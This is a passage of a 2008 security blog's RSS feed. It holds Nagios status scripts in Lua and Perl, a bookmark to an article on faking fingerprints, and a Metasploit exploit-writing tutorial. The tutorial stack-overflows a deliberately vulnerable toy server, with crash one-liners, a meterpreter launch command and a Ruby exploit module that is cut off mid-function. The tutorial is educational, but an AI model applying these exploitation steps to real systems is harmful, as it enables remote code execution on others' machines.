   p <span style="color: #66cc66;">=</span> lxp.new<span style="color: #66cc66;">&#40;</span>nginfo_callbacks<span style="color: #66cc66;">&#41;</span>
   p:parse<span style="color: #66cc66;">&#40;</span>b<span style="color: #66cc66;">&#41;</span>
   p:close<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>
<span style="color: #b1b100;">end</span>
&nbsp;
<span style="color: #b1b100;">function</span> get_nginfo <span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>
   status <span style="color: #66cc66;">=</span> <span style="color: #66cc66;">&#123;</span><span style="color: #cc66cc;">0</span>, <span style="color: #cc66cc;">0</span>, <span style="color: #cc66cc;">0</span>, <span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#125;</span>
   <span style="color: #b1b100;">error</span> <span style="color: #66cc66;">=</span> <span style="color: #b1b100;">false</span>
   <span style="color: #b1b100;">local</span> http <span style="color: #66cc66;">=</span> <span style="color: #b1b100;">require</span><span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;socket.http&quot;</span><span style="color: #66cc66;">&#41;</span>
   socket.http.TIMEOUT<span style="color: #66cc66;">=</span><span style="color: #cc66cc;">10</span>
   <span style="color: #b1b100;">local</span> errstr <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">&quot; ERROR while reading data&quot;</span>
   <span style="color: #b1b100;">for</span> n, url <span style="color: #b1b100;">in</span> <span style="color: #b1b100;">pairs</span><span style="color: #66cc66;">&#40;</span>settings.urls<span style="color: #66cc66;">&#41;</span> <span style="color: #b1b100;">do</span>
      b, c, h <span style="color: #66cc66;">=</span> http.request<span style="color: #66cc66;">&#40;</span>url<span style="color: #66cc66;">&#41;</span>
      <span style="color: #b1b100;">if</span> <span style="color: #b1b100;">not</span> <span style="color: #66cc66;">&#40;</span>c <span style="color: #66cc66;">==</span> <span style="color: #cc66cc;">200</span><span style="color: #66cc66;">&#41;</span> <span style="color: #b1b100;">then</span> 
         <span style="color: #b1b100;">error</span> <span style="color: #66cc66;">=</span> <span style="color: #b1b100;">true</span> 
         errstr <span style="color: #66cc66;">=</span> errstr .. <span style="color: #ff0000;">&quot; (NET &quot;</span> .. <span style="color: #b1b100;">tostring</span><span style="color: #66cc66;">&#40;</span>c<span style="color: #66cc66;">&#41;</span> .. <span style="color: #ff0000;">&quot;)&quot;</span>
      <span style="color: #b1b100;">else</span>
         <span style="color: #b1b100;">local</span> st, err <span style="color: #66cc66;">=</span> <span style="color: #b1b100;">pcall</span><span style="color: #66cc66;">&#40;</span>parse, b<span style="color: #66cc66;">&#41;</span>
         <span style="color: #b1b100;">if</span> <span style="color: #b1b100;">not</span> st <span style="color: #b1b100;">then</span> 
            <span style="color: #b1b100;">error</span> <span style="color: #66cc66;">=</span> <span style="color: #b1b100;">true</span> 
            errstr <span style="color: #66cc66;">=</span> errstr .. <span style="color: #ff0000;">&quot; (XML&quot;</span> .. err .. <span style="color: #ff0000;">&quot;)&quot;</span>
         <span style="color: #b1b100;">end</span>
      <span style="color: #b1b100;">end</span>
   <span style="color: #b1b100;">end</span>
&nbsp;
   <span style="color: #b1b100;">if</span> <span style="color: #b1b100;">not</span> <span style="color: #b1b100;">error</span> <span style="color: #b1b100;">then</span>
      errstr <span style="color: #66cc66;">=</span> <span style="color: #ff0000;">&quot;&quot;</span>
   <span style="color: #b1b100;">end</span>
   <span style="color: #b1b100;">return</span> <span style="color: #ff0000;">&quot;OK: &quot;</span> .. <span style="color: #b1b100;">tostring</span><span style="color: #66cc66;">&#40;</span>status<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>
      .. <span style="color: #ff0000;">&quot;, WARN: &quot;</span> .. <span style="color: #b1b100;">tostring</span><span style="color: #66cc66;">&#40;</span>status<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>
      .. <span style="color: #ff0000;">&quot;, ERROR: &quot;</span> .. <span style="color: #b1b100;">tostring</span><span style="color: #66cc66;">&#40;</span>status<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">3</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>
      .. <span style="color: #ff0000;">&quot;, UNKN: &quot;</span> .. <span style="color: #b1b100;">tostring</span><span style="color: #66cc66;">&#40;</span>status<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#93;</span><span style="color: #66cc66;">&#41;</span>
      .. errstr
<span style="color: #b1b100;">end</span>
&nbsp;
<span style="color: #b1b100;">local</span> <span style="color: #b1b100;">function</span> update_nginfo<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>
   statusd.inform<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;nginfo&quot;</span>, get_nginfo<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>
   <span style="color: #b1b100;">if</span> <span style="color: #66cc66;">&#40;</span>status<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">3</span><span style="color: #66cc66;">&#93;</span> <span style="color: #66cc66;">&gt;</span> <span style="color: #cc66cc;">0</span> <span style="color: #b1b100;">or</span> status<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">4</span><span style="color: #66cc66;">&#93;</span> <span style="color: #66cc66;">&gt;</span> <span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span> <span style="color: #b1b100;">then</span>
      statusd.inform<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;nginfo_hint&quot;</span>, <span style="color: #ff0000;">&quot;critical&quot;</span><span style="color: #66cc66;">&#41;</span>
   <span style="color: #b1b100;">elseif</span> <span style="color: #66cc66;">&#40;</span>status<span style="color: #66cc66;">&#91;</span><span style="color: #cc66cc;">2</span><span style="color: #66cc66;">&#93;</span> <span style="color: #66cc66;">&gt;</span> <span style="color: #cc66cc;">0</span><span style="color: #66cc66;">&#41;</span> <span style="color: #b1b100;">then</span>
      statusd.inform<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;nginfo_hint&quot;</span>, <span style="color: #ff0000;">&quot;important&quot;</span><span style="color: #66cc66;">&#41;</span>
   <span style="color: #b1b100;">else</span> 
      statusd.inform<span style="color: #66cc66;">&#40;</span><span style="color: #ff0000;">&quot;nginfo_hint&quot;</span>, <span style="color: #ff0000;">&quot;normal&quot;</span><span style="color: #66cc66;">&#41;</span>
   <span style="color: #b1b100;">end</span>
   ng_timer:set<span style="color: #66cc66;">&#40;</span>settings.update_interval, update_nginfo<span style="color: #66cc66;">&#41;</span>
<span style="color: #b1b100;">end</span>
&nbsp;
<span style="color: #808080; font-style: italic;">-- Init</span>
ng_timer<span style="color: #66cc66;">=</span>statusd.create_timer<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>
update_nginfo<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span></pre></div></div>

<p>This nginfo.pl script needs to be installed on nagios servers :</p>
<p><strong>nginfo.pl</strong>  (<a href='http://redstack.net/blog/wp-content/uploads/2008/05/nginfo.pl' title='nginfo.pl'>Download</a>)</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#!/usr/bin/perl</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">use</span> Nagios<span style="color: #339933;">::</span><span style="color: #006600;">StatusLog</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$log</span> <span style="color: #339933;">=</span> Nagios<span style="color: #339933;">::</span><span style="color: #006600;">StatusLog</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">new</span><span style="color: #009900;">&#40;</span>
Filename <span style="color: #339933;">=&gt;</span> <span style="color: #ff0000;">&quot;/var/cache/nagios2/status.dat&quot;</span><span style="color: #339933;">,</span>
Version <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">2.0</span> 
<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Content-type: text/xml<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;&lt;?xml version='1.0'?&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">print</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;&lt;status&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">foreach</span> <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$host</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$log</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">list_hosts</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
        <span style="color: #000066;">print</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;&lt;host&gt;<span style="color: #000099; font-weight: bold;">\n</span>&lt;name&gt;$host&lt;/name&gt;<span style="color: #000099; font-weight: bold;">\n</span>&lt;services&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
        <span style="color: #b1b100;">foreach</span> <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$serv</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$log</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">list_services_on_host</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$host</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                <span style="color: #000066;">print</span> <span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;&lt;service&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #000066;">print</span> <span style="color: #009900;">&#40;</span><span style="color: #000066;">ref</span> <span style="color: #0000ff;">$serv</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$st</span>  <span style="color: #339933;">=</span> <span style="color: #0000ff;">$log</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">service</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$host</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">$serv</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
                <span style="color: #b1b100;">foreach</span> <span style="color: #0000ff;">$tag</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$st</span><span style="color: #339933;">-&gt;</span><span style="color: #006600;">list_tags</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
                        <span style="color: #000066;">print</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;&lt;$tag&gt;$$st{$tag}&lt;/$tag&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span>
                <span style="color: #000066;">print</span> <span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;&lt;/service&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
        <span style="color: #000066;">print</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;&lt;/services&gt;<span style="color: #000099; font-weight: bold;">\n</span>&lt;/host&gt;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000066;">print</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;&lt;/status&gt;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Information on installing lua scipts for ion3 can be found <a href="http://modeemi.fi/~tuomov/repos/ion-scripts-3/#using">here</a></p>
]]></content:encoded>
			<wfw:commentRss>http://redstack.net/blog/2008/05/08/nagios-status-report-in-ion3-statusbar/feed/</wfw:commentRss>
		<slash:comments>50</slash:comments>
		</item>
		<item>
		<title>Faking fingerprints</title>
		<link>http://redstack.net/blog/2008/04/02/faking-fingerprints/</link>
		<comments>http://redstack.net/blog/2008/04/02/faking-fingerprints/#comments</comments>
		<pubDate>Wed, 02 Apr 2008 10:57:01 +0000</pubDate>
		<dc:creator>xipe</dc:creator>
				<category><![CDATA[Bookmarks]]></category>

		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/04/02/faking-fingerprints.html</guid>
		<description><![CDATA[I just discovered this very cool article about faking fingerprints: How to fake fingerprints?. I love CCC]]></description>
			<content:encoded><![CDATA[<p>I just discovered this very cool article about faking fingerprints: <a href="http://www.ccc.de/biometrie/fingerabdruck_kopieren.xml?language=en">How to fake fingerprints?</a>.<br />
I love CCC <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://redstack.net/blog/2008/04/02/faking-fingerprints/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Writing exploits for Metasploit 3.0</title>
		<link>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/</link>
		<comments>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/#comments</comments>
		<pubDate>Thu, 24 Jan 2008 19:23:53 +0000</pubDate>
		<dc:creator>xipe</dc:creator>
				<category><![CDATA[How To]]></category>

		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/01/24/writing-exploits-for-metasploit-30.html</guid>
		<description><![CDATA[This article is about writing exploit using the Metasploit Framework, for very secure software: bof-server Bof-server has been written especially to be exploited during this article, and as you already guessed by looking at it&#8217;s name, we will exploit a stack overflow bug. You can find bof-server here: bof-server source code bof-server binary for Windows [...]]]></description>
			<content:encoded><![CDATA[<p>This article is about writing exploit using the <a href="http://www.metasploit.com">Metasploit Framework</a>, for very secure software: bof-server <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  <!--. This article aims to be a starting point for people wanting to write Metasploit exploits, but doesn't know where to start from.--><br />
Bof-server has been written especially to be exploited during this article, and as you already guessed by looking at it&#8217;s name, we will exploit a stack overflow bug. You can find bof-server here:<br />
<a href='http://redstack.net/blog/wp-content/uploads/2008/01/bof-server.c' title='bof-server source'>bof-server source code</a><br />
<a href='http://redstack.net/blog/wp-content/uploads/2008/01/bof-server.exe' title='bof-server binary'>bof-server binary for Windows</a></p>
<p><em>Before to start I would like to say that I am not a Metasploit expert, so feel free to correct me if something is not done the right way.</em></p>
<p><strong>Bof-server</strong><br />
First of all, lets see how bof-server works. To start it on port 4242 use the command below:<span id="more-10"></span></p>

<div class="wp_syntax"><div class="code"><pre class="shell" style="font-family:monospace;">&gt; bof-server.exe 4242</pre></div></div>

<p>The bof-server implements 2 commands : version and quit. Here is a typical usage of this highly critical application <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  :</p>

<div class="wp_syntax"><div class="code"><pre class="shell" style="font-family:monospace;">&gt; telnet localhost 4242
&gt; version
bof-server v0.01
&gt; quit</pre></div></div>

<p><strong>Bof-server&#8217;s bug</strong><br />
Our bof-server permits remote code execution due to a stack based buffer overflow introduced by the getl(int fd, char *s) function. <em>If you need more informations regarding stack based overflows you can read this famous article from Aleph1 <a href="http://www.phrack.org/issues.html?issue=49&#038;id=14#article">Smashing the stack for fun and profit</a></em>.<br />
By passing long lines to bof-server, we will crash it :</p>

<div class="wp_syntax"><div class="code"><pre class="shell" style="font-family:monospace;">&gt; perl -e &quot;print 'A'x1024&quot; | nc localhost 4242
&gt; telnet localhost 4242
Connecting To localhost...Could not open connection to the host, on port 4242: Connect failed</pre></div></div>

<p><strong>Exploitation using Metasploit</strong><br />
Now comes the interesting things &#8230; <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
To make a metasploit exploit module, the easiest way to start is to create <em>myexploit.rb</em> in the <em>modules/exploits/os/type/</em> metasploit subdirectory.<br />
In our case, we will create <em>modules/exploits/windows/dummy/bof-server.rb</em> containing this code:</p>

<div class="wp_syntax"><div class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'msf/core'</span>
<span style="color:#9966CC; font-weight:bold;">module</span> Msf
  <span style="color:#008000; font-style:italic;"># class name should reflect directories</span>
  <span style="color:#9966CC; font-weight:bold;">class</span> <span style="color:#6666ff; font-weight:bold;">Exploits::Windows::Dummy::BofServer</span> <span style="color:#006600; font-weight:bold;">&lt;</span> <span style="color:#6666ff; font-weight:bold;">Msf::Exploit::Remote</span> 
    <span style="color:#9966CC; font-weight:bold;">include</span> <span style="color:#6666ff; font-weight:bold;">Exploit::Remote::Tcp</span>
&nbsp;
    <span style="color:#008000; font-style:italic;"># exploit relative informations</span>
    <span style="color:#9966CC; font-weight:bold;">def</span> initialize<span style="color:#006600; font-weight:bold;">&#40;</span>info = <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">&#125;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
      <span style="color:#9966CC; font-weight:bold;">super</span><span style="color:#006600; font-weight:bold;">&#40;</span>update_info<span style="color:#006600; font-weight:bold;">&#40;</span>info,
                        <span style="color:#996600;">'Name'</span>           <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'bof-server exploit'</span>,
                        <span style="color:#996600;">'Description'</span>    <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'This is an exploit for bof-server v0.01'</span>,
                        <span style="color:#996600;">'Author'</span>         <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'xipe'</span>, <span style="color:#008000; font-style:italic;"># You ;)</span>
                        <span style="color:#996600;">'Version'</span>        <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'1.0'</span>,
                        <span style="color:#996600;">'Payload'</span>        <span style="color:#006600; font-weight:bold;">=&gt;</span>
                        <span style="color:#006600; font-weight:bold;">&#123;</span>
                          <span style="color:#996600;">'Space'</span>    <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">1024</span>, <span style="color:#008000; font-style:italic;"># Space that payload can use.</span>
                                                      <span style="color:#008000; font-style:italic;"># We don't know yet</span>
                          <span style="color:#996600;">'BadChars'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">&quot;<span style="color:#000099;">\x</span>00&quot;</span>, <span style="color:#008000; font-style:italic;"># Chars that payloads should not</span>
                                                         <span style="color:#008000; font-style:italic;"># contains. We don't know yet</span>
                        <span style="color:#006600; font-weight:bold;">&#125;</span>,
                        <span style="color:#996600;">'Platform'</span>   <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'win'</span>,
                        <span style="color:#996600;">'Targets'</span>    <span style="color:#006600; font-weight:bold;">=&gt;</span> 
                        <span style="color:#006600; font-weight:bold;">&#91;</span>
                         <span style="color:#006600; font-weight:bold;">&#91;</span> <span style="color:#996600;">'Windows XP SP2 English'</span>, 
                             <span style="color:#006600; font-weight:bold;">&#123;</span> 
                               <span style="color:#996600;">'Platform'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#996600;">'win'</span>, 
                               <span style="color:#996600;">'Ret'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> 0xaaaaaaaa <span style="color:#008000; font-style:italic;"># Return address. We don't know yet</span>
                             <span style="color:#006600; font-weight:bold;">&#125;</span>
                          <span style="color:#006600; font-weight:bold;">&#93;</span>,
                        <span style="color:#006600; font-weight:bold;">&#93;</span>,
                        <span style="color:#996600;">'DefaultTarget'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">def</span> check
      <span style="color:#008000; font-style:italic;"># Here we should check if the target is vulnerable</span>
      <span style="color:#008000; font-style:italic;"># This function should not crash the target</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">def</span> exploit
      <span style="color:#008000; font-style:italic;"># Here we should exploit the target</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
  <span style="color:#9966CC; font-weight:bold;">end</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></div></div>

<p>Now it&#8217;s time to get missing informations, we already know that sending 1024 bytes of data makes our server crash.<br />
Metasploit gives a very cool tool which permits you to know how many bytes need to be sent to fill the remote buffer and crash the target. This tool is composed of 2 scripts: <em>pattern_create.rb</em> and <em>pattern_offset.rb</em>.<br />
We will not use <em>pattern_create.rb</em>, but the <em>pattern_create()</em> function in your exploit script instead.<br />
Here is your new <em>exploit</em> function of our script:</p>

<div class="wp_syntax"><div class="code"><pre class="ruby" style="font-family:monospace;">    <span style="color:#9966CC; font-weight:bold;">def</span> exploit
      <span style="color:#008000; font-style:italic;"># Here we should exploit the target                                                                                                                                                                                                                                             </span>
      connect
      buf = pattern_create<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">1024</span><span style="color:#006600; font-weight:bold;">&#41;</span>
      sock.<span style="color:#9900CC;">put</span><span style="color:#006600; font-weight:bold;">&#40;</span>buf<span style="color:#006600; font-weight:bold;">&#41;</span>
      sock.<span style="color:#9900CC;">get</span>
      disconnect
    <span style="color:#9966CC; font-weight:bold;">end</span></pre></div></div>

<p>We can now fire-up our preferred debugger, attach the bof-server process, and start our exploit using <em>msf_cli</em>.</p>

<div class="wp_syntax"><div class="code"><pre class="shell" style="font-family:monospace;">&gt; msfcli windows/dummy/bof-server PAYLOAD=windows/meterpreter/bind_tcp RPORT=4242 RHOST=127.0.0.1 E</pre></div></div>

<p>The bof-server should have crashed. Giving the crashing EIP address to pattern_offset.rb will return us how many bytes are needed to reach the saved return value.</p>

<div class="wp_syntax"><div class="code"><pre class="shell" style="font-family:monospace;">&gt; pattern_offset.rb 72413372
520</pre></div></div>

<p>As you can see <em>pattern_offest.rb</em> returned <em>520</em>, so 520 bytes + 4 are necessary to make the target crash.<br />
Looking at the stack we should also be able to find the start address of the overflowed buffer (Here I got 0x22fb65).<br />
We now have quite all the informations we needed for our exploit. The only things remaining are the BadChars.<br />
BadChars are characters that should not be sent to the target, because the target modifies them, or behaves differently when finding them.<br />
Again, in our debugger, by looking at the assembly code (around 0x4146D) we found that the target is doing something special with the 0x0A, 0x0D and 0&#215;20 characters.</p>
<p>Using all this informations we are now able to put them in our exploit script.<br />
Our exploit script looks like this:</p>

<div class="wp_syntax"><div class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'msf/core'</span>
<span style="color:#9966CC; font-weight:bold;">module</span> Msf
  <span style="color:#008000; font-style:italic;"># class name should reflect directories                                                                                                                                                                                                                                              </span>
  <span style="color:#9966CC; font-weight:bold;">class</span> <span style="color:#6666ff; font-weight:bold;">Exploits::Windows::Dummy::BofServer</span> <span style="color:#006600; font-weight:bold;">&lt;</span> <span style="color:#6666ff; font-weight:bold;">Msf::Exploit::Remote</span>
    <span style="color:#9966CC; font-weight:bold;">include</span> <span style="color:#6666ff; font-weight:bold;">Exploit::Remote::Tcp</span>
&nbsp;
    <span style="color:#008000; font-style:italic;"># exploit relative informations                                                                                                                                                                                                                                                    </span>
    <span style="color:#9966CC; font-weight:bold;">def</span> initialize<span style="color:#006600; font-weight:bold;">&#40;</span>info = <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">&#125;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
      <span style="color:#9966CC; font-weight:bold;">super</span><span style="color:#006600; font-weight:bold;">&#40;</span>update_info<span style="color:#006600; font-weight:bold;">&#40;</span>info,
                        <span style="color:#996600;">'Name'</span>           <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'bof-server exploit'</span>,
                        <span style="color:#996600;">'Description'</span>    <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'This is an exploit for bof-server v0.01'</span>,
                        <span style="color:#996600;">'Author'</span>         <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'xipe'</span>, <span style="color:#008000; font-style:italic;"># You ;)                                                                                                                                                                                                                           </span>
                        <span style="color:#996600;">'Version'</span>        <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'1.0'</span>,
                        <span style="color:#996600;">'Payload'</span>        <span style="color:#006600; font-weight:bold;">=&gt;</span>
                        <span style="color:#006600; font-weight:bold;">&#123;</span>
                          <span style="color:#996600;">'Space'</span>    <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">500</span>, <span style="color:#008000; font-style:italic;"># Space that payload can use.                                                                                                                                                                                                             </span>
                                             <span style="color:#008000; font-style:italic;"># We found that we needed 520 bytes to make the                                                                                                                                                                                           </span>
                                             <span style="color:#008000; font-style:italic;"># bof-server crash, but we will only use 500, as                                                                                                                                                                                          </span>
                                             <span style="color:#008000; font-style:italic;"># the end of this space can be modified by the target                                                                                                                                                                                      </span>
                                             <span style="color:#008000; font-style:italic;"># before returning.                                                                                                                                                                                                                       </span>
                          <span style="color:#996600;">'StackAdjustment'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">3500</span>, <span style="color:#008000; font-style:italic;"># Modify stack pointer at shellcode start                                                                                                                                                                                        </span>
                                                      <span style="color:#008000; font-style:italic;"># so it can use the stack without writing                                                                                                                                                                                        </span>
                                                      <span style="color:#008000; font-style:italic;"># on itself.                                                                                                                                                                                                                     </span>
                          <span style="color:#996600;">'BadChars'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">&quot;<span style="color:#000099;">\x</span>00<span style="color:#000099;">\x</span>20<span style="color:#000099;">\x</span>0D<span style="color:#000099;">\x</span>0A&quot;</span>, <span style="color:#008000; font-style:italic;"># Chars that payloads should not                                                                                                                                                                                           </span>
                                                            <span style="color:#008000; font-style:italic;"># contains.                                                                                                                                                                                                                </span>
                        <span style="color:#006600; font-weight:bold;">&#125;</span>,
                        <span style="color:#996600;">'Platform'</span>   <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'win'</span>,
                        <span style="color:#996600;">'Targets'</span>    <span style="color:#006600; font-weight:bold;">=&gt;</span>
                        <span style="color:#006600; font-weight:bold;">&#91;</span>
                         <span style="color:#006600; font-weight:bold;">&#91;</span> <span style="color:#996600;">'Windows XP SP2 English'</span>,
                             <span style="color:#006600; font-weight:bold;">&#123;</span>
                               <span style="color:#996600;">'Platform'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#996600;">'win'</span>,
                               <span style="color:#996600;">'Ret'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> 0x22fb65 <span style="color:#008000; font-style:italic;"># Return address.                                                                                                                                                                                                                     </span>
                             <span style="color:#006600; font-weight:bold;">&#125;</span>
                          <span style="color:#006600; font-weight:bold;">&#93;</span>,
                        <span style="color:#006600; font-weight:bold;">&#93;</span>,
                        <span style="color:#996600;">'DefaultTarget'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">def</span> check
      <span style="color:#008000; font-style:italic;"># Here we should check if the target is vulnerable                                                                                                                                                                                                                               </span>
      <span style="color:#008000; font-style:italic;"># This function should not crash the target                                                                                                                                                                                                                                      </span>
      connect
      buf = <span style="color:#996600;">&quot;version<span style="color:#000099;">\n</span>&quot;</span>
      sock.<span style="color:#9900CC;">put</span><span style="color:#006600; font-weight:bold;">&#40;</span>buf<span style="color:#006600; font-weight:bold;">&#41;</span>
      res = sock.<span style="color:#9900CC;">get</span>
      disconnect
      <span style="color:#9966CC; font-weight:bold;">if</span> res =~ <span style="color:#006600; font-weight:bold;">/</span>bof<span style="color:#006600; font-weight:bold;">-</span>server v0.01<span style="color:#006600; font-weight:bold;">/</span>
        <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#6666ff; font-weight:bold;">Exploit::CheckCode::Vulnerable</span>
      <span style="color:#9966CC; font-weight:bold;">end</span>
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#6666ff; font-weight:bold;">Exploit::CheckCode::Safe</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">def</span> exploit
      <span style="color:#008000; font-style:italic;"># Here we should exploit the target                                                                                                                                                                                                                                              </span>
      connect
